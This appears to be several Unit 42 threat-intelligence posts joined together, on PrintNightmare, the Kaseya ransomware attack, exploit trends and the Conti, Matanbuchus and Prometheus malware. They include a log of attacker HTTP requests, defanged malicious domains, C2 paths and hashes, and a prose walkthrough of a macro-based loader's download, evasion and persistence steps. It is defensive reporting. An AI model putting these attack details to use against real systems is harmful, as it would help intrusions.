On July 1, 2021, Microsoft released a security advisory for a new remote code execution (RCE) vulnerability in Windows, CVE-2021-34527, referred to publicly as "PrintNightmare.” Security researchers initially believed this vulnerability to be tied to CVE-2021-1675 (Windows Print Spooler Remote Code Execution Vulnerability), which was first disclosed in the Microsoft Patch Tuesday release on June 8, 2021. Microsoft has since updated the FAQ section of the advisory that shows CVE-2021-34527 is similar but distinct from CVE-2021-1675, which addresses a different but related vulnerability in RpcAddPrinterDriverEx().
Systems Vulnerable to CVE-2021-34527
All Windows versions are affected by this vulnerability. Domain controllers, clients and member servers running the Print Spooler service on any Windows version are affected by this vulnerability. Microsoft has released an out-of-band update with the fixes for versions other than Windows 10 version 1607, Windows Server 2016 or Windows Server 2012. For these, the security update is expected to be released soon.
Mitigation Actions
Microsoft released an out-of-band security update to address this vulnerability on July 6, 2021. Please see the Security Updates table for the applicable update for your system. Administrators are strongly advised to install these updates. If you are unable to install these updates, see the FAQ and Workarounds sections in the CVE for information on how to help protect your system from this vulnerability. See also KB5005010: Restricting installation of new printer drivers after applying the July 6, 2021 updates.
Note that the security updates released on and after July 6, 2021, contain protections for CVE-2021-1675 and the additional RCE exploit in the Windows Print Spooler service known as “PrintNightmare,” documented in CVE-2021-34527.
Conclusion
Palo Alto Networks provides protection against the exploitation of this vulnerability:
Next-Generation Firewalls with a Threat Prevention security subscription (running Applications and Threat content update version 8427+) can automatically block sessions related to this vulnerability (as well as CVE-2021-1675) using Threat IDs 91333, 91346 and 91349.
Cortex XDR agent 7.4.1 with content version 189-64538 and above is capable of preventing all currently known implementations of the exploits on vulnerable hosts, including patched hosts with the “Point and Print” feature enabled.
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
On July 2, attackers reportedly launched attacks against users of the Kaseya VSA remote monitoring and management software as well as customers of multiple managed service providers (MSPs) that use the software. They used access to the VSA software to deploy ransomware associated with the REvil/Sodinokibi ransomware-as-a-service group, according to reports. Kaseya has stated that the attack was conducted by exploiting a vulnerability in its software, and said they are working on a patch. The company has not released further information on the vulnerability. Kaseya recommends that any organization using VSA shut the system down immediately. CISA has also issued a bulletin asking organizations using the software to follow Kaseya guidance.
The full extent of the attack is currently unknown. Kaseya states that fewer than 40 of its customers are impacted. If those customers include MSPs, many more organizations could have been attacked with the ransomware. Kaseya VSA’s functionality allows administrators to remotely manage systems. If an MSP’s VSA system was compromised, that could allow an attacker to deploy malware into multiple networks managed by that MSP.
There has been much speculation about the nature of this attack on social media and other forums. We have not been able to independently determine how these attacks were conducted.
Multiple sources have stated that the following three files were used to install and execute the ransomware attack on Windows systems:
POST /dl.asp curl/7.69.1 GET /done.asp curl/7.69.1 POST /cgi-bin/KUpload.dll curl/7.69.1 GET /done.asp curl/7.69.1 POST /cgi-bin/KUpload.dll curl/7.69.1 POST /userFilterTableRpt.asp curl/7.69.1
Unit 42 researchers observed network attack trends, February-April 2021. In the following sections, we present our analysis of the most recently published vulnerabilities, including the severity and category. Additionally, we provide insight into how the vulnerabilities are actively exploited in the wild based on real-world data collected from Palo Alto Networks Next-Generation Firewalls. We then draw conclusions about the most commonly exploited vulnerabilities the attackers are using, as well as the severity, category and origin of each attack.
Network Attack Trends February-April 2021: Analysis of the Latest Published Vulnerabilities
From February-April 2021, a total of 4,969 new Common Vulnerabilities and Exposures (CVE) numbers were registered. To better understand the potential impact they could have on network security, we collected as many details as possible for each CVE. In the following sections, we provide our observations based on the severity, affected products and vulnerability categories.
How Severe Are the Latest Vulnerabilities?
To estimate the potential impact of vulnerabilities, we consider their severity and examine any reliable proofs-of-concept (POCs) that are available. Some of the public sources we use to find POCs include Exploit-DB, GitHub, and Metasploit. Distribution for the 3,849 CVEs that have an assigned severity score of medium or higher can be seen in the following table:
Severity
Count
Ratio
POC Availability
Critical
598
15.5%
9.4%
High
1659
43.1%
8.1%
Medium
1592
41.4%
7.0%
Table 1. Severity distribution for CVEs registered in February-April 2021.
Figure 1. Severity distribution for CVEs registered in February-April 2021.
Vulnerabilities classified as critical are the least common, but they are also more likely to have POCs available. The data suggests that there is a correlation between the availability of a POC and the severity of a vulnerability. This could be influenced by the amount of attention a vulnerability receives when it is more severe, as it is more interesting to both security researchers and attackers. Palo Alto Networks continues to leverage the aforementioned threat intelligence information to provide protections for our customers.
Vulnerability Category Distribution
The type of vulnerability is also crucial to understanding its consequences. Out of the 4,327 newly published CVEs that were analyzed, only 27.3% are classified as local vulnerabilities, requiring prior access to a compromised system, while the remaining 72.7% are remote vulnerabilities, which can be exploited over a network. The most common types are shown below:
Ranking
Vulnerability Type
1
Cross-Site Scripting
2
Denial-of-Service
3
Information Disclosure
4
Buffer Overflow
5
Privilege Escalation
6
Code Execution
7
Command Injection
8
SQL Injection
9
Out-of-Bounds Read
10
Memory Corruption
Table 2. Vulnerability category ranking for CVEs registered in February-April 2021.
Figure 2. Vulnerability category distribution for CVEs registered in February-April 2021.
As web applications are one of the most popular types of software, it's understandable that cross-site scripting is the top-ranking type of vulnerability. Denial-of-service vulnerabilities are also abundant, possibly due to how difficult it can be to prevent them. However, they are usually less severe and not as valuable to attackers.
Network Attack Trends February-April 2021: Analysis of the Latest Exploits in the Wild
Data Collection
By leveraging Palo Alto Networks Next-Generation Firewalls as sensors on the perimeter, Unit 42 researchers have been able to isolate malicious activities from benign traffic from February-April 2021. We have analyzed more than 10 million sessions in total for this quarter. The malicious traffic is then further processed based on metrics such as IP addresses, port numbers and timestamps. This ensures the uniqueness of each attack session and thus eliminates potential data skews. The researchers then correlate the refined data with other attributes to infer attack trends over time and get a picture of the threat landscape.
How Severe Were the Attacks Exploited in the Wild?
Out of 10.6 million verified attack sessions observed, network traffic triggers and signatures categorized as informational and low severity are used to detect scanning and brute-forcing attempts. Therefore, we consider exploitable vulnerabilities with a severity ranking of medium and above (based on the CVSS v3 Score) as a verified attack.
Figure 3. Attack severity distribution in February-April 2021.
Table 3 shows the session count and ratio of attacks grouped by the severity of each vulnerability.
Severity
Session Count
Ratio
Critical
2,602,996
21.1%
High
6,611,114
62.3%
Medium
1,772,091
16.7%
Table 3. Attack severity distribution ratio in February-April 2021.
Exploitation of vulnerabilities with high severity significantly increased to 62.3% of observed sessions compared to last quarter, when this category made up only 10.7%. This may indicate that attackers were less successful in acquiring or weaponizing critical vulnerabilities during this time frame, causing them to settle for less severe vulnerabilities.
When Did the Network Attacks Occur?
Figure 4. Attack severity distribution measured bi-weekly from February-April 2021.
For this installment of our network attack trends analysis, we collected data from February to April 2021, and we discovered that the majority of attacks were ranked with high severity. Attackers also made frequent use of newer vulnerabilities disclosed within the past year, as well as vulnerabilities exploited in the wild from 2017-19. This highlights the importance of updating security products and applying software patches as soon as they become available to provide protection against the most recently discovered vulnerabilities.
Figure 5. Observed attacks, broken down by the year in which the exploited CVE was disclosed, measured bi-weekly from February-April 2021.
Latest Attacks: Exploits in the Wild
Out of all the attacks observed during this time period, the following exploits stood out due to their ease of exploitation, POC availability and severity. We have provided snippets that show how attackers used open source tools to compromise the different targets. We provide snippets of these exploits captured in our monitoring system below.
There is an improper sanitization in multiple Nagios XI PHP files, such as windowswmi.inc.php, switch.inc.php, and cloud-vm.inc.php. An attacker can submit a crafted request that the software does not properly sanitize. We have published a blog that demonstrates how this specific attack can be used for cryptojacking. Figure 6 reveals the exploit.
Figure 6. Nagios XI remote command injection vulnerability.
A server-side request forgery (SSRF) vulnerability is present in VMware vRealize Operations Manager's API. An attacker can potentially steal administrative credentials or can send crafted requests to be processed with admin privileges. Figure 7 describes this particular attack.
Npm’s package system information is vulnerable to a command injection vulnerability. In this vulnerability, an attacker can send a malicious payload that will exploit the name parameter. After successful exploitation, attackers can execute remote commands. A sample exploit is shown in Figure 8.
The vulnerable parameters X-F5-Auth-Token and loginReference link of BIG-IP's iControl REST do not properly sanitize the user-supplied data, which an attacker can exploit to gain remote code execution (RCE). Figure 9 is an example of this exploit.
The Traffic Management Microkernel of BIG-IP ASM Risk Engine has a buffer overflow vulnerability, in which it does not properly handle incoming requests, leading to a bypassing of URL-based access controls. Figure 10 shows an unsuccessful exploitation attempt in the wild.
An RCE vulnerability in Microsoft Exchange Server’s X-BEResource HTTP is present in ProxyRequestHandler class. An attacker can exploit this vulnerability by sending a crafted request to a vulnerable Exchange Server. Figure 11 reveals the exploit.
Figure 11. Microsoft Exchange Server remote code execution vulnerability.
In this information disclosure vulnerability, the administrator password can be disclosed by an unauthenticated user by visiting a unique URL. This vulnerability was first published in September 2020, and we started seeing triggers in our system in May 2021. A sample captured in our system is shown in Figure 12.
Figure 12. DCS-2530L unauthenticated information disclosure vulnerability.
Inspur ClusterEngine 4.0 has an RCE vulnerability that allows an attacker to send a malicious login packet to the control server. We started seeing hits for this vulnerability in our system in April 2021. The vulnerability was originally published in February 2021. A live attack capture is displayed in Figure 13.
A cross-site request forgery (CSRF) vulnerability in MAGMI was discovered in September 2020. Due to the lack of proper checks on CSRF tokens, an attacker can perform a CSRF attack. We have observed it in our system in June 2021. Figure 14 shows an example.
In December 2020, an RCE vulnerability was discovered in D-Link DSL-2888A devices, allowing an authenticated user to execute operating system (OS) commands by exploiting one of the CGI. Our system captured the attacks in April 2021. Figure 15 has more relevant details.
In late January 2021, a buffer overflow vulnerability was disclosed in D-Link DIR-825 R1 devices. This vulnerability can be leveraged to achieve pre-authentication RCE. It started appearing in our systems in mid-March 2021. A sample exploit is shown in Figure 16 for reference.
The Micro Focus Operation Bridge Reporter (OBR) product has an RCE vulnerability, which an attacker can exploit by sending a crafted request to the OBR server. This was first disclosed in February 2021, but we have seen triggers in our system lately. Figure 17 shows the exploit in the wild.
There exists an RCE vulnerability in NETGEAR’s JGS516PE devices, which an attacker can easily exploit by sending a malicious request. This was first disclosed in October 2020, and we have seen attacks daily since March 2021. Due to the ease of exploitation and abundant availability of NETGEAR devices on the internet, this vulnerability seems to be favored by attackers. More details in Figure 18 below.
Another RCE vulnerability was captured by our systems starting in March 2021. This one is related to 74CMS, in which an attacker can achieve the RCE by exploiting the assign_resume_tpl method. This vulnerability was disclosed in December 2020. Figure 19 shows a live attack captured in our system.
Genexis Platinum 4410 has an RCE vulnerability that allows an attacker to pass shell metacharacters and achieve arbitrary command execution. The CVE was first made public in April 2021, and we observed it in our system around the same time. Figure 20 describes this particular attack.
Oracle WebLogic Server reported an RCE vulnerability in October 2020 that allows an attacker to easily exploit a vulnerable method called getHandle and take over the server. A new POC has been released recently. We started seeing this new method of attack in our system in May 2021. Figure 21 contains the exploit in the wild.
Figure 21. Oracle WebLogic server remote code execution vulnerability.
Figure 22 shows the session-based attack category distribution. To learn more details about impact and prevalence, we classified each network traffic trigger by attack category. Code execution accounts for 45.6% of attacks, which is unsurprising, considering that attackers typically want to gain as much control as possible over the systems they target. When fully compromising a target isn't an option, attackers demonstrated interest in obtaining sensitive data through directory traversal and information disclosure attacks. While SQL injection and cross-site scripting are two of the most common types of web application vulnerabilities, they were the least commonly abused among our observations.
Where Did the Attacks Originate?
After identifying the region from which each network attack originated, we discovered that the largest number of them seem to originate from the United States, followed by Russia and China. However, we recognize that the attackers might leverage proxy servers and VPNs located in those countries to hide their true physical locations.
Figure 23. Locations ranked in terms of how frequently they were the origin of observed attacks from February-April 2021.Figure 24. Attack geolocation distribution from February-April 2021.
Conclusion
Our data show that attackers prioritize exploits that are both severe and reliable, showing a preference for high-impact, low-effort attacks. The vulnerabilities published in February-April 2021 indicate that web applications remain popular and that critical vulnerabilities are more likely to have POCs publicly available. This emphasizes the need for organizations to promptly patch their systems and implement security best practices – attackers will make a concerted effort to expand their arsenal of exploits whenever possible.
While cybercriminals will never cease their malicious activities, Palo Alto Networks customers are fully protected from the attacks discussed here by Next-Generation Firewalls. Additional mitigations include:
Run a Best Practice Assessment to identify where your configuration could be altered to improve your security posture.
Continuously update your Next-Generation Firewalls with the latest Palo Alto Networks Threat Prevention content (e.g versions 8416 and above).
Conti ransomware stands out as one of the most ruthless of the dozens of ransomware gangs that we follow. The group has spent more than a year attacking organizations where IT outages can have life-threatening consequences: hospitals, 911 dispatch carriers, emergency medical services and law enforcement agencies. Ireland has yet to recover from an attack in mid-May that prompted the shutdown of the entire information technology network of the nation's healthcare system – prompting cancellation of appointments, the shutdown of X-ray systems and delays in COVID testing.
Conti also stands out as unreliable. We've seen the group stiff victims who pay ransoms, expecting to be able to recover their data.
The FBI has connected Conti to more than 400 cyberattacks against organizations worldwide, three-quarters of which are based in the U.S., with demands as high as $25 million. This makes Conti one of the greediest groups out there.
If you think you may have been impacted, please email unit42-investigations@paloaltonetworks.com or call (866) 4-UNIT42 to get in touch with the Unit 42 Incident Response team.
Conti Ransomware Overview
We’ve followed Conti for more than a year through our work helping organizations respond to ransomware attacks. It appears to be one of many private cybercrime groups that have set up their operations by leveraging the booming ransomware-as-a-service (RaaS) ecosystem. Such gangs obtain their foothold in the networks of their victims by purchasing access from other threat actors, who sell it as a commodity. They can also procure infrastructure, malware, communications tools and money laundering from other RaaS providers. Most of these actors use the same methods of access found in many ransomware attacks, such as phishing emails and exploiting unprotected internet-facing applications, the lack of multi-factor authentication (MFA), as well as the typical avenues used to preserve and enhance access once it’s achieved, such as through the use of Cobalt Strike or PowerShell.
These approaches are not particularly clever or sophisticated, but often they are effective. Conti’s methodology often follows the “double extortion” approach that many leading ransomware groups are presently using. When using double extortion, attackers will not only lock up a victim’s files and demand ransom, but they will also steal files and threaten to publish them on a website or otherwise leak them if their initial ransom demand is not met.
But Conti’s methods do have atypical elements.
Usually, the more successful ransomware operators put a lot of effort into establishing and maintaining some semblance of “integrity” as a way of facilitating ransom payments from victims. They want to establish stellar reputations for “customer service” and for delivering on what they promise – that if you pay a ransom, your files will be decrypted (and they will not appear on a leak website). Yet in our experience helping clients remediate attacks, Conti has not demonstrated any signs that it cares about its reputation with would-be victims.
In one recent case, Conti did not return a client’s files who had paid the ransom. This client got only a small fraction of the file restorations that were promised before the Conti ransomware representatives disappeared back into the dark web. In another case, our client needed an inventory of all files accessed, so that they could notify parties whose data was affected. Conti agreed to share that information if a payment was made, then changed their minds, saying, “We do not own that data anymore. It was deleted and there is no chance to restore it.” Like many ransomware gangs, Conti is constantly adapting to changes, including recent heightened scrutiny by law enforcement and policy makers following high-profile disruptive attacks on the Colonial pipeline and healthcare organizations. When Ireland's healthcare system refused to pay any ransom, Conti provided the agency with what it said was a free decryption key. But there was a twist: The group maintained that it would still make good on its "double extortion" threat to publish stolen data on its leak site.
Conclusion
Unfortunately, keeping Conti out of your network often isn’t simple. A primary means of infection appears to be through phishing scams, and attackers are constantly upping their game in this area. While phishing emails used to be pretty easy for almost anyone to spot, particularly after some awareness training, we are seeing increasingly sophisticated attacks in which the threat actors have done plenty of homework on their intended victims. Sometimes they’ll send a blitz of scam emails to employees throughout an organization, and it takes only one to open the attachment and release the malware into the network.
Ransomware attacks are getting easier to unleash, and the rewards to the attackers are still growing by leaps and bounds. Accordingly, it continues to be a growth industry that will attract multitudes of new practitioners, and it is likely that high-profile targets will continue to fall.
Palo Alto Networks detects and prevents Conti ransomware in the following ways:
WildFire: All known samples are identified as malware.
AutoFocus: Tracking related activity using the Conti tag.
Unit 42 Security Consulting: The Ransomware Readiness Assessment detects any hidden threats, tests for preparedness and provides remediation recommendations.
Additionally, Indicators of Compromise (IoCs) associated with Conti are available on GitHub, and have been published to the Unit 42 TAXII feed.
Courses of Action
Product / Service
Course of Action
Initial Access
The below courses of action mitigate the following techniques:
Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic
Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low and informational vulnerabilities
Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'
Ensure a secure antivirus profile is applied to all relevant security policies
Wildfire†
Ensure forwarding is enabled for all applications and file types in WildFire file blocking profiles
Ensure that WildFire file size upload limits are maximized
Ensure a WildFire Analysis profile is enabled for all security policies
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Unit 42 researchers often spend time investigating what we call non-traditional sources. Non-traditional sources often include underground marketplaces and sites, spanning from forums on the Tor network to Telegram channels and other marketplaces. One such case that we investigated involves a threat actor called BelialDemon, who is a member of several underground forums and marketplaces.
In February 2021, BelialDemon advertised a new malware-as-a-service (MaaS) called Matanbuchus Loader and charged an initial rental price of $2,500. Malware loaders are malicious software that typically drop or pull down second-stage malware from command and control (C2) infrastructures. Matanbuchus has the following capabilities:
The ability to launch a .exe or .dll file in memory.
The ability to leverage schtasks.exe to add or modify task schedules.
The ability to launch custom PowerShell commands.
The ability to leverage a standalone executable to load the DLL if the attacker otherwise has no way of doing so.
We discovered several organizations impacted by Matanbuchus including a large university and high school in the United States, as well as a high-tech organization in Belgium.
After observing the user BelialDemon operating in well-established underground forums, we’ve noticed they stick to a particular biblical theme: their name, Belial, along with the name of their new loader, Matanbuchus, stem from the Ascension of Isaiah 2:4: "And Manasseh turned aside his heart to serve Belial; for the angel of lawlessness, who is the ruler of this world, is Belial, whose name is Matanbuchus.” A fitting theme for their operations.
This blog sheds light on Matanbuchus, BelialDemon and the malware’s infrastructure.
BelialDemon Overview
If we look historically, BelialDemon has been involved in the development of malware loaders. BelialDemon is considered the primary developer of TriumphLoader, a loader previously posted about on several forums, and has experience with selling this type of malware.
Figure 1. Forum posting of BelialDemon showcasing a loader.
Looking over posts such as these in Figure 1, we’ll attempt to locate the files through a litany of means to better understand the functionality of the malware and analyze its activity in the wild – allowing for better protections and enriched intelligence. BelialDemon was specifically looking to recruit three people as part of their MaaS offering, charging an initial rental price of $2,500.
Figure 2. Forum posting for Matanbuchus sale.
Since we have a name for the malware direct from the source, we subsequently went hunting for samples of Matanbuchus used in the wild. Hunting for a sample of Matanbuchus unearthed a file in the wild called ddg.dll, which is actively being dropped via hxxp://idea-secure-login[.]com. Looking at some of the included strings showed we were on the right track.
Figure 3. Strings showing MatanbuchusDroper.dll.
As stated by the malware author, the loader has the following features:
The ability to launch a .exe or .dll file in memory.
The ability to leverage schtasks.exe to add or modify task schedules.
The ability to launch custom PowerShell commands.
The ability to leverage a standalone executable to load the DLL if the attacker otherwise has no way of doing so.
The question then becomes what does it actually look like in the wild?
The Excel Dropper
After identifying the Microsoft Excel document (SHA256: 41727fc99b9d99abd7183f6eec9052f86de076c04056e224ac366762c361afda) as an initial vector of an attack that drops the Matanbuchus Loader DLL, we begin our analysis on this file. When opening the Excel document, you're met with the notification that you need to enable macros to view the actual content of the document.
Figure 4. Picture of fake Excel warning.
This file is using a technique more recently favored in attacks leveraging Microsoft Office documents. Specifically, there has been a shift from Microsoft Word to Microsoft Excel when trying to launch malicious payloads on victims’ systems. This shift is because, using Excel's built-in functions, it is possible to store code distributed throughout the spreadsheet cells, offering a native obfuscation that hampers analysis and detection. This is colloquially referred to as Excel 4.0 Macros.
Figure 5. Hidden worksheet functions.
The cells with data will spread across a sea of blank ones which, when executed, will piece together the information. In the example above, note how some of the visible cells in the B column refer to columns and rows across the sheet.
Figure 6. Example of an Excel function.
This GOTO function tells Excel to select a specific cell hundreds of columns over and 1,595 rows down. These types of actions are chained together, and in this document, perform a simple download and execution of said file.
By removing the blank cells in the document and reviewing the resulting strings, there are many interesting standouts that align with the observed behavior of this file in our WildFire malware analysis engine.
Figure 7. Excel V4 extracted macro strings.
Taking these at face value, we can see a breakdown in functionality for downloading a file to a certain location and the execution of it. In this case, ddg.dll will be downloaded from idea-secure-login[.]com and saved locally as hcRlCTg.dll. Then the export within the DLL called RunDLL32_Install_COM32 is executed.
As previously stated, this lines up with expected behavior that was observed in WildFire.
Figure 8. WildFire logged activity.
The DLL, in this case, is the Matanbuchus Loader DLL file.
Matanbuchus Overview
In this next section, we'll briefly cover the Matanbuchus malware before we take a look at the infrastructure used.
Overall, Matanbuchus uses two DLLs during the malware’s run cycle. Both DLLs are packed, but it should be noted that the first DLL has an internal name of MatanbuchusDroper.dll while the second DLL is named Matanbuchus.dll. It’s not the stealthiest approach, but helpful to us nonetheless. Additionally, both DLLs are based at 0x10000000 and use hard coded addresses throughout execution.
Once Excel downloads the initial DLL, MatanbuchusDroper.dll (SHA256: 7fbaf7420943d4aa327bb82a357cd31ca92c7c83277f73a195d45bd18365cfce), from the idea-secure-login[.]com site, the Excel macro will launch and call the export within the DLL labeled RunDLL32_Install_COM32.
The primary function of this first DLL is, as its name suggests, to drop the main Matanbuchus DLL. However, before that, it will make a number of API calls typically observed in anti-virtualization and anti-debugging checks, such as GetCursorPos, IsProcessorFeaturePresent, cpuid, GetSystemTimeAsFileTime, and QueryPerformanceCounter. These can profile a system to provide indicators to the malware that allow it to determine if it is running in a controlled environment (i.e. a sandbox).
Figure 9. API Call for IsProcessorFeaturePresent.Figure 10. API Call for cpuid.
Eventually, the DLL will move to the next phase and unpack the URL to download the primary Matanbuchus DLL, disguised as an XML file called AveBelial.xml. This downloaded file is then saved to Users\ADMINI~1\AppData\Local\Temp\Run_32DLL_COM32\shell96.dll. The use of shell96 is an attempt to blend in with the native system files, suggesting shell32 -> shell64 -> shell96 as a logical progression in naming if it were real.
Figure 11. Matanbuchus DLL download.Figure 11. Writing shell96.dll to disk.
Persistence is established by creating a scheduled task to run the new DLL, along with the specific export to call.
Figure 12. Scheduled task for persistence.
Note the attempt to blend the export name of the DLL with words typically found in popular DLLs: RunDLL32_Install_COM32 and Run_32DLL_COM32. This continues the trend noted above regarding shell96.
The sample, Matanbuchus.dll (SHA256: af356a39a298f6a48f8091afc2f2fc0639338b11813f4f4bd05aba4e65d2bbe3), is similar to the first DLL and uses multiple types of obfuscation and encoding to hide strings and executable code from static analysis. Unlike the first one, additional steps were taken after unpacking the code to further hide the DLLs it leverages functions from. In Figure 14, you can see that the sample is building a string, Shell32.dll.
Figure 13. Building “Shell32.dll” string.
If you look at the DLLs it decodes strings for, there are no big surprises: IPHLPAPI.DLL, ws2_32.dll, wininet.dll and shlwapi.dll. These are common sights when doing malware analysis as they are frequently a precursor to actions such as writing files or network-based communication.
Finally, this DLL collects various pieces of information about the system, such as hostnames, OS details, network adapters and so on, before transitioning into a more familiar routine exhibited by remote access trojans (RAT). The malware begins to communicate with the same host the DLL was downloaded from – eonsabode[.]at. It then sends an HTTP POST to kntwtopnbt/8r5kudwrc8/gate[.]php with no referrer, and a user-agent field containing data instead of an actual user-agent, making it quite visible and easily detectable.
Figure 14. Network Traffic HTTP POST.
The requests are Base64 encoded JSON arrays of more encoded data, most likely containing the profiling information of the host.
Figure 15. Base64 decoded C2 traffic.
Infrastructure Overview
Shifting focus to the domain where the final Matanbuchus DLL came from (eonsabode[.]at), we can see that it resolves to an IP address in a Google network and has had a number of IP addresses it resolved to since early February 2021. This aligns with the time we observed BelialDemon advertising their new malware. Additionally, the initial domain (idea-secure-login[.]com) that the Excel v4 macro reaches out to for the first Matanbuchus DLL is also hosted on these same IP addresses.
Figure 17. DNS resolutions for eonsabode[.]at.When looking at each of the individual IP addresses and their previous resolutions, a number of patterns begin to emerge in the domains that exist on each one, further grouping the malicious activity together.
For example, consider the following three most recent IP addresses and a subset of their resolutions:
34.94.151[.]129
34.106.243[.]174
34.105.89[.]82
The immediately observable patterns here include the usage of domains registered with the Austria ccTLD "at," the usage of "24" within the domain names, and the use of the words "login,” "online," "sso" and "secure.” These are in line with BelialDemon's previous attempts to hide in plain sight by using “good” words.
Given this, we pulled all of the passive DNS resolutions for each IP the original malicious domains resolved to since February 2021. Focusing specifically on domains with multiple connections, we're left with a graph that neatly clusters potentially related domains.
Figure 18. Connection map of IP and Domains.
Within this subset of domains, there are numerous clusters based on various aspects of the domain names, and we've individually clustered them below.
Pattern: Theme of biznesplanet
Pattern: Usage of "24"
Pattern: Usage of Austria ccTLD
Pattern: Fake Adobe Flash updates
Pattern: Usage of “Idea”
Pattern: Theme of “Wallet,” possibly crypto-related
The domains and themes primarily appear focused on phishing, and while not all of these domains are related to the Matanbuchus malware, it appears they are all malicious and likely operated by the same entities. For example, the "Fake Flash Updates" were associated with malicious APK files, as noted by the Malware Hunter Team on Twitter, adding further weight to this theory. Some of these domains may be staged for future campaigns and may not have been utilized yet.
Conclusion
This blog highlights how threat intelligence can be generated from hunting for threats observed in the wild and how small pieces of seemingly disparate data can chain together to strengthen analysis, extract indicators and improve defenses for your organization before being impacted.
Palo Alto Networks customers are protected from this threat by:
WildFire: All known samples are identified as malware.
Cortex XDR with:
Indicators for Matanbuchus.
Next-Generation Firewalls: DNS Signatures detect the known command and control (C2) domains, which are also categorized as malware in Advanced URL Filtering.
AutoFocus: Tracking related activity using the Matanbuchus tag.
Unit 42 has spent the past four months following the activities of Prometheus, a new player in the ransomware world that uses similar malware and tactics to ransomware veteran Thanos.
Prometheus leverages double-extortion tactics and hosts a leak site, where it names new victims and posts stolen data available for purchase. It claims to have breached 30 organizations in government, financial services, manufacturing, logistics, consulting, agriculture, healthcare services, insurance agencies, energy and law firms in the United States, United Kingdom and a dozen more countries in Asia, Europe, the Middle East and South America.
Like many ransomware gangs, Prometheus runs like a professional enterprise. It refers to its victims as “customers,” communicates with them using a customer service ticketing system that warns them when payment deadlines are approaching and even uses a clock to count down the hours, minutes and seconds to a payment deadline.
“We are closing the ticket and have started an auction on your data,” the group threatens when victims fail to pay up. But there’s an out: Victims can click to open a new “ticket” if they’re willing to pay up to stop the auction and recover their data.
Only four victims have paid to date, according to the group’s leak site. It claims that a Peruvian agricultural company, a Brazilian healthcare services provider and transportation and logistics organizations in Austria and Singapore paid ransoms. However, we’re unable to confirm the ransom amounts.
One interesting note is that Prometheus claims to be part of the notorious ransomware gang REvil. Unit 42 has seen no indication that these two ransomware gangs are related in any way. The claim may be an attempt to exploit REvil’s name to persuade victims to pay up, or it could be a false flag to take attention away from Thanos.
We’ve compiled this report to shed light into the threat posed by the emergence of new ransomware gangs like Prometheus, which are able to quickly scale up new operations by embracing the ransomware-as-a-service (RaaS) model, in which they procure ransomware code, infrastructure and access to compromised networks from outside providers. The RaaS model has lowered the barrier to entry for ransomware gangs.
Full visualization of the Prometheus techniques observed and the courses of action relevant for response can be viewed in the Unit 42 ATOM Viewer.
If you think you may have been impacted, please email unit42-investigations@paloaltonetworks.com or call (855) 875-4631 to get in touch with the Unit 42 Incident Response team.
Prometheus Ransomware Overview
Prometheus ransomware was first observed in February 2021 and is a new variant of a known strain called Thanos. Thanos ransomware has been advertised for sale on underground forums since at least the first half of 2020, where it has a builder that allows actors to customize a sample with a wide variety of available settings. This suggests that different threat actors may have leveraged this builder to create their own variants and brands.
In this case, we turn our attention to one of those threat actors, Prometheus. While this ransomware gang claims to be part of REvil, we haven’t seen any other solid connection between the two groups. REvil operates on an affiliate-driven RaaS program, but we believe the Prometheus ransomware gang may be acting on their own and attempting to leverage the infamous REvil name and reputation to improve the chance that victims will pay the demanded ransom. This would not be the first time adversaries have used the names of well-known threat groups to strengthen their credibility.
At the time of writing, we don’t have information on how Prometheus ransomware is being delivered, but threat actors are known for buying access to certain networks, brute-forcing credentials or spear phishing for initial access.
When Prometheus ransomware is executed, it tries to kill several backups and security software-related processes, such as Raccine, a ransomware prevention tool that tries to stop ransomware from deleting shadow copies in Windows. Here is a sample of its approach:
Prometheus ransomware appends an extension using the following format .[XXX-XXX-XXXX] (Figure 1). We found that the extensions are hardcoded into the sample. We believe that the Prometheus ransomware operators generate a unique payload per victim, which is used for their negotiation site to recover files. We obfuscated the extensions because they could be used to identify the victims on the leak site. Prometheus also adds an hexadecimal string of GotAllDone at the end of all encrypted files.
Figure 1. Encrypted files after execution.
After the backup and security processes are terminated and encryption is complete, Prometheus ransomware drops two ransom notes: a RESTORE_FILES_INFO.TXT file and a RESTORE_FILES_INFO.TXT.hta file (Figure 2), both containing the same information.
Figure 2. RESTORE_FILES_INFO.hta.
The ransom note also includes instructions for contacting Prometheus ransomware operators to recover files, as well as informing the victim that, if the demands are not met, the threat actors will release the data to the public or sell it to a third party.
Since the extensions are used as a victim identifier, by following the instructions on the ransom note, we were able to take a look at the negotiation part of their site using the extensions ID to gain access. Interestingly, this group uses a ticketing system for tracking victims. The tickets include a tracking ID, created date, resolution status and priority. A victim can even open a ticket with the threat actors to request data recovery – though this will cost you extra, according to the site (Figure 3).
Figure 3. Prometheus reply to a victim ticket.
The Prometheus ransomware gang tailors their ransom demand depending on the victim organization. From the available instances observed, we have seen payments requested as low as $6,000 and as high as $100,000 in Monero (XMR). This price is doubled if the victims don’t contact the threat actors within the established timeframe, which on average is a week. At the time of writing, four victims paid the ransom including a Peru-based agricultural company, a healthcare services provider in Brazil, and two transportation and logistics organizations – one located in Austria and the other in Singapore.
Figure 4. Prometheus victim ticket.
Like many current ransomware gangs, this group also created a leak site (a different section of the same website that hosts the “ticketing system”) where they name and shame their victims (Figure 5).
Figure 5. Prometheus leak site.
The Prometheus ransomware operators include a status per victim. We found that some of the information posted on the leak site has already been sold to an unknown third party. There are also posts showing that victims within impacted industries paid the ransom and their data was removed from the site (Figure 6).
Figure 6. Leak site victim status for Prometheus ransomware out of 30 victims.
Prometheus Victimology
At the time of this writing, the Prometheus leak site hosts 30 victims, impacting multiple industries globally. By taking a look at their victims listed, we generated this graph, showing the locations of organizations impacted by this ransomware.
Figure 7. Countries impacted by Prometheus ransomware out of 30 victims.
Manufacturing was the most impacted industry among the victim organizations we observed, closely followed by the transportation and logistics industry.
Figure 8. Industries impacted by Prometheus ransomware out of 30 victims.
Older Prometheus Variants
The first encountered Prometheus sample, first observed in February 2021 (SHA256: 9bf0633f41d2962ba5e2895ece2ef9fa7b546ada311ca30f330f0d261a7fb184), behaves similarly to the more recent variant we are currently tracking. However, it appends the following extension to the encrypted files: .PROM[prometheushelp@mail[.]ch].
